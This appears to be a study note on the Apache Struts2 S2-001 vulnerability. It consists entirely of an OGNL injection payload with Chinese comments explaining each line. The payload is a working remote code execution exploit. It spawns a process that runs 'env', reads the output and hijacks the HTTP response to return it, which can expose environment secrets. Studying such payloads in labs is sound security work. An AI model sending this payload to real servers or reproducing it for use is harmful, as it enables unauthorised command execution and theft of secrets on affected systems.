S2-001

```
%{//触发OGNL解析引擎
#a=(new java.lang.ProcessBuilder(new java.lang.String[]
{"env"})).redirectErrorStream(true).start(),//创建系统级子进程绕过shell限制调用内核执行命令，new java.lang.String[]建立数组用于防止歧义，redirectErrorStream将子进程stderr合并到stdout，可看报错
#b=#a.getInputStream(),//获得原始二进制字节
#c=new java.io.InputStreamReader(#b),//将字节流解码为字符流
#d=new java.io.BufferedReader(#c),//开辟缓冲区并存入c
#e=new char[50000],//建立e数组
#d.read(#e),//将缓冲区内容写入e数组
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),//劫持响应，控制输出n
#f.getWriter().println(new java.lang.String(#e)),//将数组转为字符串
#f.getWriter().flush(), //强制冲刷缓冲区，java的io设计要缓冲区满了才发送数据，这用于不管满没满直接发数据
#f.getWriter().close()  //关闭输出流（截断响应），减少多余内容
}
```